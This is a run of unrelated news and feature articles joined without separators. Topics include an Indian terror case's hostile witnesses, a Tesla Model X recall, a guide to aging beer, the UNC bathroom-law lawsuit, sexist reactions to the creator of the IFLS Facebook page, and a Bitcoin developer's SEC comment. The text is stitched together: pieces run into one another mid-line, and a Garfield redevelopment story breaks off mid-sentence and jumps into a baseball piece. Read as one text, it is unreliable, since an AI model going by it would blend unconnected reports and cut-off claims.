In 2014, it was decided that hearings in the case would be fast-tracked — at least five hearings a month. Since then, 90 of more than 170 witnesses have been cross-examined, of whom 14 have turned hostile.
These are statements of five of the 14 witnesses who have turned hostile:
* Randhir Singh, RSS loyalist, now Jharkhand minister:
On July 21, 2010, Singh told ATS: “Zila pracharak Giridih Mahendraji, vibhag pracharak Ranjan and Indore RSS pracharak Manoj alias Sunil Joshi came to my house on a motorcycle four years ago and told me we would have to go to Akhil Mandal’s (vibhag karyavaha) place in Godda. I took them in my Bolero JH 15R 5555. Devendra Gupta came along with Akhil Mandal and took us to a village. I don’t know the exact village’s name. They got off the car to go to a house but I kept sitting. Later, Akhil Mandal, Devendra Gupta and Manoj came out and fired from a pistol. When I asked about the pistol, they said ‘forget about these things, you just drive’. Later, I distanced myself from Devendra Gupta.”
He repeated the statement under Section 164 on September 27, 2010 but did not mention the firing.
On May 6, 2015, Singh turned hostile in court: “ATS pressurised me. Met Devendra Gupta only at RSS baithaks. I do not know Mahendra and Manoj.”
* Vishnu Patidar, RSS worker, Shajapur, Madhya Pradesh
On September 1, 2010, Patidar gave a statement to ATS and on September 23, 2010 recorded a Section 164 statement: “I know Chandrashekhar. He used to come to my house. Two years ago, at Pankaj’s shop, he gave me three mobile phones. I tried using all three. One of them was used by Santosh, one was not working and one my wife used. On the day of Diwali, ATS officials came to my house to investigate. Chandrashekhar told me that I should tell them that the phones belonged to Pankaj Patidar, who was already dead.”
On November 21, 2014, he told the court: “I do not remember saying that Chandrashekhar had asked me to say any such thing.”
* Rohit Kumar Jha, RSS worker, Jharkhand
Jha recorded his statement before a magistrate under Section 164 in New Delhi on August 21, 2010, voluntarily in English. “In 2005 summer, one guruji came from Madhya Pradesh to visit Devendra Gupta at Mihijam. Later on I came to know his name was Sunil Joshi alias Manoj. Guruji stayed there for one day. After he left, Devendra asked me for a voter ID card. I asked him for what purpose did he need it. He said he had come from outside, needed local address to arrange for a mobile number. In Dumka, one of my friends Ravi told me his father was a mukhiya and distributed ID cards at their village. At their house, I saw 30-35 voter cards lying. Without permission I picked two and gave to Devendra Gupta. I was cleaning Devendra Gupta’s room and saw pencil cell with red wire attached lying in his room. Later on came to know it was a detonator. There were 10-12 such wrapped in a newspaper.”
On January 13, 2015, he told the court: “I do not know English. Not my statement.”
* Sonu Pandey, RSS worker, Jharkhand
On November 24, 2010, Pandey told the magistrate under Section 164: “I gave Devendra Gupta my mother’s voter ID card in 2006. My grandfather was in the Railways and after his death, my mother would have got an ad hoc job for which I gave the ID card. Later, when I asked for it, Devendra Gupta gave me other documents but did not give the voter ID card. He said get another made.”
On January 16, 2015, he denied this in court.
* Hari Narayan, RSS worker, Shajapur, Madhya Pradesh
On September 25, 2010, in his statement under Section 164, Narayan said: “Bhanu and Govardhan came on a motorcycle to my house and kept an attache. They said they will take it later and did so. When the ATS called, then I got to know there were phones in the attache.”
On November 21, 2014, he told the court: “ATS pressurized me to give such a statement.”
The next hearings in the case are slated from Monday through Friday where more new witnesses will be introduced.
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ENS adds from New Delhi: NIA Director General Sharad Kumar said: “All these cases were finalised during the UPA regime, and the then DG of NIA took whatever decisions he seemed fit. As for some witnesses turning hostile, there are more than 300 witnesses and it should not have a very damaging impact on the case. We are examining this.”Sales of Campo Santo’s Firewatch have been beyond the developers “wildest expectations”, the studio has revealed on Twitter. Not only is that good news for Firewatch and the prospect of the game heading to Xbox One, but it also means that thanks to the huge sales of Firewatch, Campo Santo will be around for a long time.
Firewatch has out-sold our wildest expectations. Campo Santo is going to be around for a while and we can’t wait to make whatever is next. — Campo Santo (@camposanto) February 24, 2016
While no figures have been given with regards to PS4 or PC sales, SteamSpy shows that roughly 190,000 PC players own Firewatch on Steam and while in terms of Steam that figure may seem rather low, it’s important to note that the game does cost £14.99 which would bring in over £2 million in revenue from the PC release alone. Add to that PS4 sales which are expected to be higher, it’s easy to see how the game has surpassed the studio’s expectations.
Thank you to everyone who has made that statement possible! — Campo Santo (@camposanto) February 24, 2016
While Firewatch is a very short game, taking only a few hours to complete, it has been received positively by the games industry. Ian stated in his review that Firewatch makes for a memorable and intriguing experience and while it is over too quickly and left him wanting more, Firewatch is nonetheless a special number.Tesla announced this afternoon that it's voluntarily recalling the small number of Model X crossovers that were produced before March 26th, roughly 2,700 in total, over concerns that the third-row seats could fold forward in a crash. The company says the seat passed 15 previous tests, but failed during a 16th, slightly different test prior to the start of European deliveries. All vehicles affected are labeled for US sale; most (but not all) are already in customers' hands. No injuries or issues in production vehicles have been attributed to the problem, which Tesla calls a manufacturing defect, not a design defect.
Although Tesla moved production of the vehicle's complex "monopost" second-row seats inside the company, the third row is manufactured by an outside supplier. Tesla is blaming the issue on the recliner used in those third-row seats, and says that the supplier will pick up the cost — it therefore doesn't expect much impact on earnings.
Not Tesla's first recall
This isn't Tesla's first recall, but it's the first significant action for the Model X, which is still being produced in relatively small numbers. (A recent press release blamed the company's own "hubris" for failing to ramp up as quickly as expected.) The fix has already been designed and put into production, and a Tesla spokesperson notes that there will be no impact on future Model X manufacturing volume.
Tesla says that it expects to have all 2,700-odd vehicles fixed within five weeks, and each fix will require a service appointment roughly two hours long. Unfortunately for owners, Tesla is advising that they not use the third row for transporting people in the meantime — the company says that "you may make full use" of the car until the fix is complete, but an out-of-service third row isn't exactly "full use" for a vehicle that uses three-row seating as a major selling point.
Here's the full text of the letter that Tesla is sending to Model X owners today:
We are emailing to inform you of a proactive action Tesla is taking to ensure your safety as a Model X owner. Tesla's internally conducted crash testing demonstrates that Model X will be the first SUV to receive the highest safety rating in every category, and we are committed to ensuring that it remains the safest SUV in the world. Recently, during an internal seat strength test that was conducted prior to the start of Model X deliveries in Europe, the recliner in a third row Model X seat unexpectedly slipped. The recliner, which is provided to us by an outside supplier, is the locking hinge that allows the third row seat back to fold forward, and if a recliner were to slip during a crash, the seat back could move forward. Similar testing was conducted before the start of deliveries in North America, with 15 confirmation tests having been conducted without a single recliner failure. Despite these prior successful tests and no reports of a third row seat slipping in any customer vehicles, we have decided to conduct a voluntary recall as a precautionary measure and will be replacing all affected third row seat backs. Our records show that you own a Model X affected by this voluntary recall. We will shortly send you an official recall notice by mail, but we wanted to alert you to this action as soon as possible. A fix to this issue is already in place. We have worked with our supplier to develop a new recliner design with improved quality that resolved the issue. We are now constructing new third row seat backs to match all affected vehicles. Your service center will contact you to schedule the installation of your replacement seat backs as soon as they are available. Based on current production rates, we expect all replacements to be completed on a rolling basis over the next five weeks. We will accelerate this timing if possible. Until the recall is performed, you may make full use of your Model X, although we ask that you temporarily not have anyone sit in the third row seats while the car is in use. We recognize that not having the use of your third row seats for the next few weeks will be an inconvenience, but your safety is our primary concern. We assure you that we are building your new seat backs as fast as we can.
Tesla Model X first lookLast spring, Indianapolis’ Grant Curlow posted a YouTube clip that could make even the most casual beer fan drool.
In his prosaically titled Beer Cellar Video, Curlow spends six minutes and 48 seconds slowly and nearly wordlessly panning over a concrete basement where, arranged in stacks, racks and scattered across the plywood floor, are more than 700 bottles of coveted brews, such as Firestone Walker’s barrel-aged XII and Three Floyd’s wax-capped Dark Lord Russian imperial stout. Then there’s his Belgian bounty, including Trappist ales and sour lambics, like Drie Fonteinen. Some of his beers are older than Curlow’s 24 years—and only going to grow older. “I’ve got lambics down there I’m waiting for 20 years to try,” says Curlow, who started collecting during college and recently parlayed his passion into a job as the craft-beer specialist for World Class Beverages. “I’m in no rush to open them.”
Welcome to the new world of old beer. Like wine, beer has the capacity to age, evolve and develop complex new aromas and flavors. Think that Sierra Nevada Bigfoot Barleywine is a rich treat right now? Try it in 10 years, when it has mellowed into a smooth elixir worthy of a snifter. Time, combined with yeast and bacteria, can buff a beer’s rough edges and unlock its full potential—or, given a few months too many, create a liquid best sent down the drain.
Aging beer isn’t an exact science. Still, you can use tricks and tactics to tilt the sands of time in your favor. By creating an ideal climate, selecting the right beers to put to bed and following storage protocols, you can start a cellar of your own, even if you live in a skyscraping apartment.
The Air Down There
After committing to build a beer collection, the first step is creating a safe, cozy environment in which the brews can slumber undisturbed—the cart before the horse. Some of the best advice on building a cellar can be found in Lovell, Maine, a tiny town near White Mountain National Forest that’s home to Ebenezer’s Pub. Despite its rural digs, Ebenezer’s is a world-class Belgian bar and possibly the country’s foremost repository for vintage beer. “I’m trying to build a time machine,” says owner Chris Lively, 37, of his climate-monitored, 2,700-square-foot cellar. It features a security system to guard his 1,000-plus bottles that span more than a century of brewing. Like a liquid Library of Congress, “I want to have these beers here 100, 200 or 300 years from now. We cellar beers for the interest of the beer world.”
For your interests, Lively suggests a cellar, or a basement, where the temperature will remain relatively low (about 55 degrees F is ideal, give or take five degrees), with narrow temperature fluctuation; a range of more than 20 degrees will wreak havoc. This also holds true for wine, which you can cellar alongside beer. (Red wine is typically stored at 50 to 55 degrees, and white wine is best aged at 45 degrees.)
Unlike wine, which rests on its side to keep corks moist, all beer—even if it has a cork—should be stored upright, says Alan Sprints, 51, founder of Portland, Oregon’s Hair of the Dog brewery. “That way, sediment remains in the bottom. Store bottles on their side, and sediment kicks up when you pour.” Utilizing a shelf system, or a fridge, will help prevent accidentally sending an upright bottle crashing to the ground.
The next step: block sunlight. Beer is photosensitive. Glass bottles let in UV rays, which cause chemicals called isohumulones (they help make beer bitter) to decompose and create compounds found in skunks’ spray. Voila! Skunked beer.
Another cellaring enemy is humidity. “If there’s not enough humidity, the corks will dry out,” Liveley says. “If there’s too much humidity, it could damage beer and invite black mold,” which can enter through the cork or a loose crown cap. Lively likens black mold to a silent, deadly assassin. “Your beers will die a slow death,” he says. Keep them safe with an air purifier, while using a humidifier or a de-humidifier to calibrate the climate. The optimum atmosphere has “the kind of humidity you have in fall or spring” on the East Coast, Liveley notes. (An ideal humidity range is about 50 to 70 percent.) What you don’t want is to walk into your cellar and feel a warm, damp rush. That could signify mold in the air, says Lively, who recommends a mold analysis every two years. “It’s literally a bacterial war in the cellar.”
Though underground storage is ideal because temperatures tend to stay steady, it’s not imperative. Instead, you can opt for an inexpensive wine fridge or, if that’s cost-prohibitive, “look toward a bedroom in the middle of your house”—far from windows, so the temperature is more stable—“and use the closet,” suggests Bill Sysak, 48, the beverage supervisor and certified Cicerone at Stone Brewing World Bistro and Gardens. “Buy a $2 thermometer and check the closet over a couple seasons. If you don’t have extreme temperature fluctuations, you know you have a place that’s safe for beer.” (He also recommends a humidity meter.)
Before starting at Stone, Sysak spent more than 25 years amassing one of California’s—if not the country’s—finest collections of cellared beers. At one point, Sysak amassed more than 2,500 bottles, which he stored everywhere from a three-door cooler in the garage (the convenience-store relic is not turned on, yet it maintains temperatures between 62 and 65 degrees) to a cabinet under the bathroom sink. “I also have three smaller wine coolers and bottles stuck under the house,” Sysak says. “The point is, a lot of my beer isn’t refrigerated.” But what if you live in Las Vegas or another scorching city? No worries, says Sysak. “If you don’t have a beer refrigerator or a cellar, and your average indoor temperature is in the high 60s or 70s, you can insulate bottles with [Styrofoam] wine shipping crates,” Sysak says. “Craft beer is much more durable than people think.”
Brews to Choose
Now that your cellar, fridge or closet is secured, the fun part is filling it. However, not every beer should age. Most are best as soon as they’re bottled, especially hop-forward pale ales and IPAs. Hops are most pungent and aromatic when fresh, and even a few months will dull their character. (For example, the label on Russian River’s amped-up IPA Pliny the Elder reads DOES NOT IMPROVE WITH AGE! HOPPY BEERS ARE NOT MEANT TO BE AGED!)
When selecting beers for aging, Sysak suggests following general guidelines. First, it’s beneficial if a beer is 8 percent or stronger, since an elevated alcohol profile will typically become smoother, mellower and more agreeable. Another rule of thumb is to select a darker, maltier beer, because the sweet, residual sugars tend to soften over time. Above all, ensure that the beer is bottle-conditioned, wherein live yeasts lurk inside the bottle.
“Though the yeast doesn’t continue to ferment, it helps the beer age,” explains Hair of the Dog’s Sprints, who always finishes his beers with fermenting yeast. “All of our bottle-conditioned beers are meant to age,” he says of creations such as “Dave,” an English-style barleywine brewed more than 15 years ago and boasting 29 percent ABV. “It’s so much better now than it ever was. That shows the patience it takes to hang on to a beer for an extended period of time.”
So which beer styles are worth the wait? Sysak recommends Belgian strong ales, barleywines, imperial stouts and, bucking the high-alcohol guideline, sour Belgians, such as lambics and Flanders red ales. With aging beer
, there are always exceptions to the rule, Sysak says. “I have Tripels, saisons and blonde ales that are 10 or 15 years old and beautiful.”
Other outliers include ales spiked with wild yeasts, such as Brettanomyces. They’re often unstable, since the yeast rapidly works through a beer and alters its character—one month it’s sublime, the next it’s undrinkable. However, Brett-dosed beers, such as Belgium’s monk-made Orval and Sanctification from California’s Russian River Brewing, respond well to cellaring. “They don’t age into the 10- to 20-year range, but they do grow complex and amazing,” Sysak says. (Additionally, Sysak says beers boasting multiple strains of yeasts and bacteria, such as Lactobacillus, hold up better.)
If you can swing it, purchase at least two bottles of each brew—or more. That way you can crack open a bottle every so often and taste how the beer is aging. Plus, you’ll have spares in the event you want more of a good thing, or need to replace a bottle ruined by a bad seal. “Historically, I buy large quantities,” Sysak says. “If you have a beer that you enjoy and it has a proven track record, it’s nice to get a case, whether that’s 12 bottles or 24,” Sysak says.
However, you don’t want to overdo it on a single beer. While you may be crazy for Founders Kentucky Breakfast Stout, “you never know how your taste buds will evolve,” says Curlow, who started out collecting strong stouts before focusing on Belgian lambics and Trappist ales. “Keep your cellar varied.” Since Curlow started saving beer as a college freshman, it’s a wonder he resisted the temptation to dip into his stock. “You buy more than you can drink,” he says. “That still holds true today.”
A Matter of Taste
Pouring and sampling is a critical way to determine how a beer is developing before it ends up past its prime. Though an expiration date isn’t stamped on the bottle like a carton of milk, beer does have a limited lifespan. “I have beers that are 50 years old, but for beers that can be aged, the average lifespan ranges from a couple years to eight to 10 years,” Sysak says. Taste. Evaluate. Wait. But don’t wait too long. “At five years, many beers begin to show signs of deterioration.” Typically, higher-gravity barleywines, imperial stouts and old ales have the longest shelf life. “There are rare bottles of English ales out there that are over 100 years old,” Sysak continues. “Of course, they’re a crapshoot just like old wine. You can pay an exorbitant amount for nectar or vinegar.”
Settling on the ideal aging time takes trial and error. “Try it fresh, then anywhere from a month to six months to a year apart to see how the beer ages,” Sysak says. “There’s always that time when you wonder, ‘Should I wait one more year? I like how that flavor is developing.’ Then you try it and go, ‘Shoot, it’s past its prime.’ ”
When aging beers, clunkers come with the territory. “I know there are going to be some duds, but we just have to suck it up when it happens,” says Dave Blanchard, 41, the cofounder of Decatur, Georgia’s, Brick Store Pub, where vintage beers are stored in an adjoining, underground bank vault. In 2005, the bar began acquiring close to 500 different varieties of age-worthy beer, refusing to release them until this fall. “It was a big gamble, because I know some of the vintage beer won’t be as good after aging,” Blanchard says. “It’s a big leap of faith.”
To make that leap of faith a little less daunting, Sysak suggests turning to resources like RateBeer.com and BeerAdvocate.com, which have active forums dedicated to aging. “If you post, ‘I have a 2003 AleSmith Speedway Stout. Has anyone opened it lately?’ sure enough, a dozen people will respond.”
Combining sensory analysis with crowd-sourced wisdom will allow you to make minute adjustments. If your beer is close to peaking, transfer it to a cooler environment to slow down aging. If you’d like the beer to age faster, slightly elevate its environmental temperature. “I’ve taken imperial stouts that have a hot, fusil note”—that is, alcohol—“and increased the cellaring temperatures into the high-60s,” Sysak says. This slightly oxidizes the beer, creating a sweet, sherry-like nuance. “Brewers will never say to do this,” Sysak says, underscoring a simple point: When it comes to aging, you can create the rules as you go along.
Pop Your Tops
After creating, stocking and maintaining a cellar, it’s easy to imagine that you’ve just built a beer museum. But remember, one of the pleasures of building an enviable collection is reaping the fruits of your labor.
For Sysak, savoring and sharing aged beer is part of the fun. He once cohosted (with Tom Nickel, of San Diego’s O’Brien’s Pub) a vertical tasting of Thomas Hardy’s ales (a classic English beer that’s no longer brewed) from the first release in 1968 to 2004. Even crazier, for 10 years he hosted a party on his birthday dubbed “the largest, most extreme private beer party in the world.” Every 10 minutes for 12 hours, Sysak opened two rare beers—say, a De Dolle Stille Nacht Reserva or 1999 Belle Vue Selection lambic—along with up to 20 kegs of beer “in case you got thirsty in between the nine minutes of beer pours,” Sysak says of the event, which sometimes swelled to 250 people.
Of course, opening an aged beer doesn’t require a blowout. “One thing I’m most proud of is that people use my beers to celebrate special occasions,” such as birthdays or anniversaries, says Hair of the Dog’s Sprints. But even that’s too formal a reason for Curlow to crack a rare treasure. “You don’t need a reason to open a cellared bottle,” he says. “I love bringing friends over and popping open something unusual. Whether it’s a random Thursday or Sunday, when you pop open the bottle, it’ll be the celebration.”‘I had been haunted in my head by last year’s injury’Boxing Day thigh problem led to three months out
Arsène Wenger has admitted that he endured a nightmarish flashback when Aaron Ramsey was injured playing for Wales in Andorra on Tuesday night.
The Arsenal manager rated Ramsey as a doubt for the Premier League visit of Manchester City on Saturday lunchtime but his overriding emotion was one of relief that the midfielder’s ankle problem did not appear more serious.
Ramsey saw the finest season of his career interrupted last time out on Boxing Day when he injured his thigh at West Ham United. The injury sidelined him for a little over three months.
“I’m relieved because I had been haunted in my head by last year’s injury that was much more serious than expected,” Wenger said. “At the start, it was a little muscular injury and then it was three months.
“Even if he’s not completely ready for Saturday it’s a short-term injury. It’s an ankle strain and it’s a minor one, that’s for sure. He has a little chance to be available for Saturday.”
Ramsey rolled his ankle on Andorra’s heavily criticised 3G pitch and he was substituted by the Wales manager, Chris Coleman, as a precaution. The player spoke after the game of how the surface had been “very hard, with no give in it” but he said that the injury did not feel serious.
“[There were] bad tackles and on an artificial pitch,” Wenger said. “There’s nothing worse for the players than to change pitches. I’m personally against [artificial pitches] but I can understand the decision from Fifa because in some countries, sometimes it’s better to play on an artificial pitch than on a normal, bad pitch.
“In Russia in the winter, for example, the artificial pitch gives you the guarantee of a flat pitch. Also, the quality of the artificial pitches improves always and gets closer to what is a normal pitch.”
Wenger reported that Mikel Arteta, Mesut Özil and Kieran Gibbs would be available for selection against City after injuries.Truly wireless charging is a promise that technology companies have been making for years. “Wouldn’t it be nice,” they ask, “if your gadgets could charge without any wires?” Unfortunately, wireless charging today tends to still require direct physical contact to a charging pad or inductive charger — more convenient than a plug, to be sure, but not the magical, wireless future we were promised.
The MotherBox is an Indiegogo project that claims to be able to deliver on that promise, by offering truly wireless charging. Yank Tech, the company behind the MotherBox, claims that the device can supply 2 watts of power to a smartphone 20 inches away. That charging rate improves as you get closer: between 15 inches and 10 inches, the MotherBox supplies 4W of power, between eight inches away to five inches gets you 8W, and connected devices within five inches charge at 10W.
There are a few catches, though. While the MotherBox charges devices wirelessly, the truncated icosahedron-shaped device itself needs to be plugged in (although the company is offering a smaller, portable battery pack version that doesn’t need constant power, at the expense of a far more limited range). Additionally, your phone will need a receiver attached back of your phone and plugged into the charging port to actually work with the MotherBox and receive power (althoughYank Tech promises to support Lightning, Micro USB, and USB-C).
You’ll also have to be okay with displaying the MotherBox out on your nightstand, given that it looks something like a cross between a glowing, cybernetic soccer ball and Doctor Octopus’ tritium fusion reactor from Spider-Man 2 (the superhero resemblance is fitting, as the company notes that the MotherBox is named after the famous DC Comics MacGuffin).
That of course is assuming the MotherBox actually works. Yank Tech is making some big promises here, especially for a new company that’s crowdfunding its first hardware product. That said, if you’re willing to believe the promise that a truly wireless future is at hand, the MotherBox is available to back on Indiegogo for a $79 early-bird price. Yank Tech hopes to ship the first wave of products in September later this year.CLOSE Six blocks in the First Ward of the city will move forward to become a redevelopment area. The area surrounds one of the city's two train stations. Wochit
A rendering of a re-imagined Passaic Street in Garfield created by Greater Bergen Community Action. (Photo: courtesy of Greater Bergen Community Action)
GARFIELD — After four months of public hearings and despite public outcry, the city Planning Board recommended Thursday night that 27 First Ward properties receive a redevelopment designation that could result in them being taken by eminent domain.
Now that the redevelopment study has been accepted by the planning board, it will be moved on to the mayor and council for discussion and public comment. After that the next phase is moving the process to the redevelopment agency.
"This is the first step in a long process," Councilwoman Erin Delaney said before voting yes. "Things can always be changed in the future, but we need to start somewhere."
Residents and business owners have been attending the meetings since July with emotional pleas to not take away their land. About a dozen residents, business owners and attorneys spoke Thursday nightwith many against the project and some in favor.
The Garfield train station, on Passaic Street, was the focal point of a redevelopment study in 2016. (Photo: Kristie Cattafi/NorthJersey.com)
Recently, community members formed Stand with Southern Garfield, a coalition dedicated to raising awareness about the situation, and has urged city officials to abandon the plan to take properties by eminent domain.
The Institute for Justice, a national civil liberties law firm that represented property owners in Long Branch and Atlantic City in their eminent domain battles, has also joined the fight.
Pericles Niarchos, an activism manager for the Institute for Justice, said the decision was disappointing and hopes the community continues its efforts. "They will still move forward. These are their legacies and livelihoods at stake," he said. "The community will now have to raise their efforts to what's going to happen next. In the meantime, I hope they don't lose their steam."
Planning Board Chairman James Clark said the community is rightfully worried about its homes and businesses, but the city still needs to move forward.
"It's an old town. When it was built, buildings and homes were just dropped in places," Clark said. "Now we have an opportunity to improve the city and hopefully everyone here will become a part of it."
City officials, working with the nonprofit organization Greater Bergen Community Action, have created a River to Rail concept that focuses on redevelopment around the Passaic Street train station.
Garfield is one of the few towns in the state that has two train stations. Though NJ Transit has said it has no plans to do so, Mayor Richard Rigoglioso fears that if the city doesn't take action to revitalize the First Ward, the Passaic Street station could be closed, hurting the future of an area that he believes is declining.
As part of the city's |
this might have in fact been an aborted attempt at dropping a "Trumbomb" during the broadcast? If you looked at the letters like a game of Scrabble, there's a lot of overlap, with a couple of blank tiles used at his discretion.
Is it how Jim Palmer lets the call breathe for a second, ostensibly to gather his thoughts but maybe actually to make sure his broadcasting partner hasn't suffered a ministroke?
Is it how the Drunk Gary Thorne Twitter account has been inactive since mid-April, suggesting that man and machine have begun to meld into one?
(It's definitely the last one.)
A baseball announcer, especially one as proud as Thorne, is nothing without his home run signatures. "Goodbye! Home Run!" is not going away, nor should it. It is a wonderful catch-all call. But I beg of Thorne: Make "Trumbo Bumbo" a thing. Wouldn't everyone on the Orioles need a Trumbo Bumbo equivalent, you ask. No. He doesn't need to start being John Sterling.
But Trumbo has only so many home runs left in him this season. The world is a better place when you imagine each punctuated with a Trumbo Bumbo, leaving you to marvel at two things equally full of wonder: the hit itself, and just what in the world Thorne was thinking when he said those two magical words.
Trumbo Bumbo.MANILA, Philippines - The P1.29 billion in Distribution Acceleration Plan (DAP) funds that the University of the Philippines (UP) system received in 2012 allowed the university to embark on infrastructure and development projects that would further its academic excellence.
UP vice president for public affairs Prospero de Vera said the DAP-funded projects are either finished or in various stages of completion.
He said that the key initiatives of UP president Alfredo Pascual got the biggest share at P431.9 million. It was allocated to the implementation of the electronic interconnection of all UP campuses, rehabilitation of Quezon Hall, and implementation of the long-awaited faculty and staff housing project.
“Among the UP campuses nationwide, UP Diliman received the second biggest share at P321.75 million,” De Vera said.
Listed as priority projects for UP Diliman are renovations, building extensions and infrastructure completion, notably the National Science Complex to the tune of P116.359 million.
De Vera said the UP Manila-Philippine General Hospital (UP-PGH) accounted for the third largest slice of the DAP pie valued at P140.58 million.
It was earmarked for the purchase of sophisticated equipment, including an MRI and CT scan machines.
UP Cebu is also getting a massive infrastructure makeover costing P111.87 million. It will expand its library, modernize the science laboratories and improve laboratory equipment.
UP Manila got more than P95 million that went to the renovation and upgrading of its Pharmacology and Toxicology facilities, as well as the laboratories for the National Institutes of Health.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
May 11, 2016, 12:47 AM GMT / Updated May 11, 2016, 12:47 AM GMT By Pete Williams
The president of the University of North Carolina said Tuesday that she is looking to hire lawyers to defend the school against a federal lawsuit over the state's new bathroom law.
"We can't operate this place without federal funding," said University President Margaret Spellings after a meeting with the school's board of governors.
Last week, the Justice Department notified the state that its recently enacted bathroom bill violated federal civil rights laws and gave the state until May 9 to respond.
The state instead sued the federal government, asking a judge to rule that it was not violating federal law. The Justice Department responded with a lawsuit of its own, asking a judge to block enforcement of the state law.
Related: DOJ Files Lawsuit Challenging North Carolina Bathroom Law
Known as HB2, the new law forbids people to use the bathrooms of their gender identity, instead of the sex on their birth certificates. It also restricts the ability of LGBT people to sue for discrimination.
More than $4 billion is at state in federal funds for education in the Tar Heel State. The University of North Carolina serves 220,000 students on 16 separate campuses.
The university was named as a defendant in the Justice Department lawsuit, along with the state and the governor.
A graduate looks up from a sea of caps during the University of North Carolina at Chapel Hill spring commencement ceremony at Kenan Memorial Stadium on Sunday, May 8, 2016 in Chapel Hill, NC. Kaitlin McKeown / AP
But Spellings and W. Louis Bissette, Jr., chairman of the board of governors, suggested after a day-long meeting Tuesday that the university would pursue a separate legal course.
"These institutions have been supportive, welcoming places for every type of individual. And we will continue to be," Spellings said.
The bathroom law does not contain an enforcement provision, she said.
"We have not changed any of our policies," since the law was enacted, she noted. "We do not discriminate against anybody, and that will continue to be our stance."
Bisette said the board supports "all the actions President Spelling has taken so far. We're in a difficult position, caught between the state and federal governments."
Attorney General Loretta Lynch said Monday, in announcing the lawsuit against the state, that federal laws give the government power to cut off federal funding for education when civil rights laws are violated.
"We remain open to discussions with the state," Lynch said. "We are deferring on requesting the curtailment of funding now, but we do retain that right."
Lynch said the Justice Department was waiting, in part, to hear what position would be taken by the university's board of governors.A mother jumped out an upstairs bedroom window holding her 18-month old baby during an alleged raid on her home, a court was told today.
Two teenage cousins charged with taking part in the incident at her house were remanded on conditional bail by Judge John O'Connor at the Dublin Children's Court today.
The boys, aged 16 and 17, are charged with burglary at an address in Tallaght on June 7 and had spent a week in custody at a juvenile detention centre on remand.
The case resumed today with Judge O'Connor hearing that gardaí were objecting to bail due to the seriousness of the incident and fears of witness intimidation.
Garda Colin Hetherington said it was alleged there was a riot outside the house and a front window was smashed.
The pair were allegedly seen going into the house and heading upstairs. One of the teens was allegedly seen smashing a bedroom front window.
Gda Hetherington said it was alleged the woman “jumped out the bedroom window with her 18-month old toddler in her hands”.
The boys, who were accompanied to court by family members, were arrested after they were allegedly found hiding in a bedroom.
The court had heard earlier that the pair were related to the woman who “since the incident has been living in fear”.
Judge John O'Connor granted bail on condition the boys stay away from each other, to sign on at their local garda station daily, obey a 10pm curfew and to avoid witnesses.
He transferred the case to Tallaght's Children's Court where it will resume on Friday.
A hearing will have to be held decide if the case should remain in the jurisdiction of the juvenile court or instead go forward to the circuit court which can impose lengthier sentences.When the owner of the most popular science page on Facebook revealed her identity the other day, the reaction was sadly predictable. “OMG GIRL,” came the crescendo of comments from dumbfounded men (and a few women). It was as if Elise Andrew had infiltrated a 19th century scientific conference and suddenly ripped off a fake mustache in front of the assembled muttering menfolk. Cue pipes falling from open mouths. Shock! Awe! A woman!
Indeed, the whole scenario provides a fine case study in the pervasiveness of gender stereotypes in the sciences that still persist well into the 21st century.
The reveal was inadvertent. Andrew, who works for the publishing group LabX Media, simply wanted her 4 million Facebook fans to follow her on Twitter, too, where she tweeted under her real name. So she posted a link to her account on her I Fucking Love Science Facebook page. Her Twitter account includes a photograph that shows her face, which also appeared in the Facebook post.
She got a bump in Twitter followers, but also a flood of unwelcome comments about her gender and physical appearance.
Here’s a sampling:
“You’re beautiful.”
“wow, your a hottie!”
“you mean you’re a girl, AND you’re beautiful? wow, i just liked science a lil bit more today ^^”
“You’re…a woman…?”
“OMFG! You are a beautiful GIRL!!! I admit I never expected you to be a girl and on top of that a beautiful one. My sincere apologies.”
*points, mouth open* GIRL!!!
“For you baby, I ll become a sceintist. “
“Holy crap I pictured. A 30 sumthin harvard geek lmfao thanks for makin science more enticing ;)”
“wow who would’ve thought!! you’re a girl and kindda pretty! LOL”
“Hey, the I fucking love science girl is fucking cute!”
And so on. The whole thread has devolved into either comments discussing Andrew’s gender and looks or comments complaining about those comments. It wasn’t pretty.
Andrew tweeted this in response:
Why does anyone care that Andrew is a woman? What’s far more interesting is the story behind Andrew’s success: How has she turned a simple science page into a Web behemoth and became the Neil DeGrasse Tyson of Facebook? Gender is by far the least interesting part of the I Fucking Love Science story.
Too bad Andrew’s fans don’t realize it.
Photo via Elise Andrew/TwitterBitcoin Core Developer Appeals to SEC Regarding BIT
Matt Corallo, “a long-time developer of bitcoin”, posted a comment to the United States Securities and Exchange Commission (SEC) regarding a “proposed rule change relating to the listing and trading shares of the Bitcoin Investment Trust [(BIT)] under NYSE Arca Equities Rule 8.201.” In the post, Corallo expresses “grave concerns” pertaining to “the lack of consumer protection” afforded to investors in the event that the bitcoin network is forked. The comment has generated mixed reactions on social media, with some accusing the developer of appealing to the very institutional apparatus that bitcoin originally sought to circumvent and undermine.
Also Read: A Closer Look at the Suspicious Activity Involved With the Bitcoin Gold Fork
A Comment Regarding the BIT Posted by Matt Corallo, a Long-Time Bitcoin Core Developer, Has Garnered Significant Attention
The comment was made regarding proposed rule changes that govern the listing and sharing of BIT shares. It focuses on the potential ramifications of future forks with BIT’s management of its customers’ funds.
Corallo states that he has “grave concerns with the proposed rules for the maintaining of bitcoin deposits and the lack of consumer protection in the event of bitcoin network rules changes in the current filings.” Corallo describes a “permanent fork” as “occur[ing] when one group of users wish to make a change to bitcoin’s consensus rules, while another group does not… This leads to two cryptocurrencies and may lead to significant ambiguity around which should be referred to as ‘bitcoin’”. The post then expresses concerns that under the current legal guidelines, the BIT is able to “select a Bitcoin… in consultation with the Index Provider” in the event of a fork.
Corallo emphasizes that Digital Currency Group (DCG), the sole owner of BIT and an investor in TradeBlock (BIT’s Index Provider), may be able to “shift significant value towards one cryptocurrency over another. As an investor in numerous bitcoin startups, DCG further has a strong incentive to encourage rule changes and adoption of cryptocurrencies that benefit their portfolio companies and their own operation. They may overrule changes that benefit the investors in the proposed [Exchange-Traded Product {ETP)].” The developer also criticizes the fact that “DCG is not explicitly barred from trading on the value of different cryptocurrencies prior to the announcement of BIT’s decision as to which fork will receive the future attention of the proposed bitcoin ETP, and its investors’ capital.”
Many Have Seen the Comment as an Attempt to Undermine the Decentralization of Bitcoin
